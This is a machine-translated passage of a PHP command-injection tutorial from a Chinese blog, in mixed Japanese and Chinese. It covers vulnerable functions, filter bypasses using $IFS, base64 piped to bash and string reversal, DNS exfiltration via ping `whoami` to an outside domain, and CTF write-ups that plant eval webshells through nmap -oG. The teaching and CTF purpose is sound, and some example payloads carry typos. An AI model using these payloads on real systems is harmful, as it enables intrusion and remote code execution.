PHP コード監査 10 - コマンド実行の脆弱性

1. コマンド実行の脆弱性の基礎

1. 脆弱性の概要と原則

アプリケーションでは、システム コマンドを実行するためにいくつかの関数を呼び出す必要がある場合があります。たとえば、PHP では、system、exec、shell_exec、passthru、popen、proc_popen などの関数を使用してシステム コマンドを実行できます。ハッカーがこれらの関数のパラメーターを制御できる場合、悪意のあるシステム コマンドを通常のコマンドにつなぎ合わせて、コマンド実行攻撃を引き起こす可能性があります。これがコマンド実行の脆弱性です。たとえば、次の単純なコード シナリオは次のとおりです。

<?php
    system("ping -c 1 ".$_GET['ip']);
?>

渡す IP が標準 IP ではなく、他のシステム コマンドと混在している場合、コマンドが実行される可能性があります。たとえば、ペイロードは次のように構築します。192.168.0.0.1 || whomai

この時点で、システムを通じて実行するコマンドは次のとおりです。ping -c 1 192.168.0.0.1 || whomaiオペレーティング システムでは同僚が複数のコマンドを実行できるため、whoami コマンドが実行され、コマンド インジェクションが発生します。

2. 脆弱性の検出

脆弱性の検出では一般的に、コマンドを実行できる機能があるかどうか、または PHP コードをインジェクションできる場所があるかどうかを観察する必要があります。ここでは主にコマンド実行機能の有無の検出について説明します。PHP の場合、一般的なコマンド実行関数は次のとおりです。

  • system():systemコマンドを実行し、実行結果を出力します。正しい結果のみが出力され、間違った結果は出力されません。
  • exec(): コマンドを実行しますが、出力はありません。出力パラメータを指定すると、出力には返された結果が入力されます。出力パラメータにすでに要素がある場合、exec() は出力の後に追加します。 、出力パラメータの戻り結果は配列です。
  • shell_exec(): システムコマンドを実行しますが、結果は返されません。
  • passthru(): system() と同様に、外部プログラムを実行して結果を画面に表示します。間違った結果は出力されません。
  • Popen(): 指定されたコマンド command の実行をフォークすることによって生成されたプロセスへのパイプを開きます。fopen() によって返されるファイル ポインタと同じファイル ポインタを返します。ただし、一方向 (読み取りまたは書き込み専用) であり、pclose() で閉じる必要がある点が異なります。
  • proc_open(): コマンドを実行し、入出力用のファイルポインタをオープンします。Popen() 関数に似ていますが、proc_open() はプログラムの実行を制御するためのより強力な機能を提供します。

これらの機能の具体的な使用方法については、記事の最後に記載されている情報を参照してください。

3. 共通コマンド連結

コマンド実行の脆弱性を悪用するプロセスでは、悪用するパラメータ内のコマンドを直接置き換えることはなく、上記の例と同様にコマンドをつなぎ合わせることによって脆弱性を悪用することがよくあります。ここでは、いくつかの一般的なコマンド スプライシング文字について簡単に紹介します。

1) Windowsシステム

  • &

    格式:命令1&命令2…命令n
    规则:命令1和命令2一起执行,互不影响
    

    例は次のとおりです。

    ここに画像の説明を挿入

  • &&

    格式:命令1&&命令2…命令n
    规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
    

    例は次のとおりです。

    ここに画像の説明を挿入

  • |

    格式:命令1|命令2…命令n
    规则:当命令1执行成功时才执行命令2,如果命令1执行不成功则不会执行命令2,在两者都成功的情况下,只显示命令2 的结果。
    

    例は次のとおりです。

    ここに画像の説明を挿入

  • ||

    格式:命令1||命令2…命令n
    规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
    

    例は次のとおりです。

    ここに画像の説明を挿入

2) Linuxシステム

Windows システムと比較すると、 Linux システムの"||""|""&&""&"スプライシング シンボルの機能は Windows と同じですが、シェル コマンドでは、";"複数のシェルを分割できるステートメントの終わりを示すコマンドも定義されています。コマンド";"

  • 格式:命令1;命令2…命令n
    规则:隔开多条shell命令一起执行
    

    例は次のとおりです。

    ここに画像の説明を挿入

4. 一般的な防御方法のバイパス

コマンド実行のバイパス方法に関する研究は、主に Linux システムでの保護バイパスを参照しているため、ここでは主に Linux でのバイパス方法を共有します。

1) スペースフィルタリングバイパス

  • スペーサー「$IFS」を使用してバイパスします

    利用原理:因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤
    但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag.txt,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析。
    对于linux来说,常见的结束标识符有:',",\等,同时,linux系统还提供了${
          
          }操作符来确定变量的范围。
    同时,由于linux存在通配符,所以我们还可以使用通配符来进行匹配,从而让$IFS能够正常结束。
    

    実際の例:

    • 絶対パスの前に「/」を使用して区切ります。

    ここに画像の説明を挿入

    • ワイルドカード「?」で区切ります。

      ここに画像の説明を挿入

    • 「${}」で区切る

      ここに画像の説明を挿入

  • バイパスするには中括弧「{}」を使用します

    原理:在bash中"{}"可以当作一个代码块进行执行,命令之间";"隔开,参数用","隔开,但是要注意命令块中不允许有空格
    格式:{
          
          命令1,参数1;命令2,参数2....}
    

    使用例:

    ここに画像の説明を挿入

  • リダイレクト入力文字「<」を使用してバイパスします

    原理:通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容
    格式:cat<fileName
    Tips: 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
    

    操作例:

    ここに画像の説明を挿入

2) ブラックリストのバイパス

有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则
  • Base64エンコーディングのバイパス

    原理:将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行。
    示例:
    命令 cat flag.php 编码后为: Y2F0IGZsYWcucGhw
    执行命令:echo  Y2F0IGZsYWcucGhw|base64 -d|bash等效与执行:cat flag.php
    

    状況例:

    ここに画像の説明を挿入

  • シェルのローカル変数スプライシングのバイパス

    原理:在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.php绕过方式如下:
    a=c;b=a;c=t;d=.php;e=ag;f=fl;$a$b$c$IFS$f$e$d
    

    状況例:

    ここに画像の説明を挿入

  • 引用符、組み込み変数バイパス

    引号绕过原理:在linux系统中,如果在命令中插入成对的引号,但是引号内不包含任何字符的话,bash命令程序在执行时就会自动去除引号,执行正常命令。
    内置变量绕过原理:内置变量$1-9,$*,用于获取脚本传入的参数,默认情况下等价于""''。所以也还可以绕过。
    引号绕过示例:ca''t$IFS''flag.php
    内置变量绕过示例:c$1at$IFS$2flag.php
    
    

    引用符をバイパスする例:

    ここに画像の説明を挿入

    組み込み変数バイパスの例:

    ここに画像の説明を挿入

  • バックスラッシュのバイパス

    原理:在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令。
    比如下面这样:
    

    ここに画像の説明を挿入

    リモート実行の例:

    ここに画像の説明を挿入

  • 文字列の逆順バイパス

    原理:字符串反序之后,能够绕过WAF检测,类似于base64编码绕过,不过这里需要注意的是,无论是反序绕过还是编码绕过,都借助了echo命令,如果echo命令同样被过滤的话,就需要加上其他的绕过方法。比如内置变量等。
    示例:
    	先将命令反序:echo ”cat flag.php"|rev ————> php.galf tac
    	执行反序命令:echo$IFS$9php.galf$IFS$9tac|rev|bash
    

    ここに画像の説明を挿入

  • コマンド置換バイパス

    原理:常见的黑名单比如cat,就可以使用其他查看文件的命令绕过,比如:tail、more、less、head、tailf、nl等。
    

    簡単な例:

    ここに画像の説明を挿入

3) コマンドなしエコーバイパス

エコーなしのコマンドの場合、対象のWebサイトが使用しているコマンド実行関数がexecまたはshell_exec()である可能性があり、この時はエコーなしでコマンドが実行されるため、エコーの内容を確認する方法が必要です。一般的なエコー方法には、DNS 取り出し、http 取り出しなどが含まれます。ここでは、リダイレクト ビュー、遅延ビュー、および DNS 取り出しという 2 つの方法を説明します。

  • リダイレクトビュー

    原理:如果目标站点可以创建文件,我们可以通过重定向>>>去将命令的输出重定向到一个文件中,然后再访问这个文件
    比如:ls>ls.txt,然后访问ls.txt查看结果
    
  • 遅延ビュー

    原理:和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看
    示例:echo "<?php @eval($_POST[cmd]); ?>" >>flag.php || sleep 5
    
  • DNS のポイント

    原理:利用DNS的泛域名解析规则,我们的xx.xxx.xxx.abc.com,都会解析到abc.com上,利用DNS解析记录,将数据附带在DNS要解析的域名中,就会通过解析记录展示出数据。
    示例:ping `whoami`.xxx.abc.cn
    

    簡単な例:

    ここに画像の説明を挿入

2. CTFサンプル問題の分析

1、BUUCTF 2018 オンラインツール

まずソースコードを見てください。

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
    
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    
    
    highlight_file(__FILE__);
} else {
    
    
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

ざっと見たところ、ホスト パラメーターを渡し、nmap を使用してアドレスをスキャンする必要があることがわかりました。

ホストを取得した後、escapeshellarg() 関数とscapeshellcmd() 関数を使用してホストのコンテンツがフィルタリングされていることがわかります。まず、escapeshellarg() 関数の機能を見てみましょう。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,执行运算符(反引号)。这里的shell 函数包含 exec(), system() 等。
比如下面这两个例子:
echo escapeshellarg("Hello,world !!!")       ————> 'Hello,world !!!'
echo escapeshellarg("Hello,'world' !!!")     ————> 'Hello,'\''world'\'' !!!'
echo escapeshellarg("'Hello,"world" !!!"'")  ————> ''\''Hello,"world" !!!'

次に、escapeshellcmd() 関数の関数を見てみましょう。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
比如下面的情况:
 echo escapeshellcmd("'127.0.0.1#")    ————> \'192.168.92.1\#
 echo escapeshellcmd("'127.0.0.1'#")   ————> '192.168.92.1'\#

したがって、これら 2 つの関数によって処理された後、渡される通常の IP は次のようになります。

127.0.0.1    ————>'127.0.0.1'

しかし、受信パラメータに一重引用符を追加すると、次のようになります。

127.0.0.1'   ————>'127.0.0.1'\\''\'

\\は に解析されるため\、エスケープの役割を失いますが、この時点では と'127.0.0.1'\\''\'同等です'127.0.0.1' \'

したがって、この問題を使用してペイロードを構築できます。

まず最初に、nmap の -oG パラメータがコードとコマンドをファイルに書き込むことができることを知っておく必要があります。たとえば、nmap <?php phpinfo();?> -oG 1.phpphpinfo() は 1.php に書き込まれます。

したがって、ここでは、最終的に実行されるコマンドが次のようになるように、php ファイルに書き込むための 1 文のトロイの木馬を構築する必要があります。

nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[cmd]);?> -oG shell.php

したがって、ペイロードを構築するには、上記の一重引用符エスケープを使用する必要があります。

?host=' <?php @eval($_POST[cmd]); ?> -oG shell.php '

ホストのコンテンツを渡すと、シェル ファイルのアドレスが返されることがわかります。

ここに画像の説明を挿入

シェル ファイルにアクセスして、アクセスが成功したことを確認し、コマンドが正常に実行されたことを示します。その後、包丁を使用して接続し、フラグを正常に取得します。

ここに画像の説明を挿入

2、CTF.show web31

まずソースコードを見てください。

<?php
// flag in /flag
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

flagやphpなどのキーワードがフィルタリングされており、「.」もフィルタリングされていることがわかります。上記のバイパス方法を考えてみましょう。ここではエコーをフィルタリングしないため、base64 エンコードを使用してバイパスできます。または、cat を他のコマンドに置き換え、ワイルドカードを使用してファイルを照合し、%20 および %09 を使用してスペースを置き換えます。

花粉媒介者:

c=echo%09`head%09/fla?`

試験結果:

ここに画像の説明を挿入

3. 参考文献

おすすめ

転載: blog.csdn.net/qq_45590334/article/details/126161919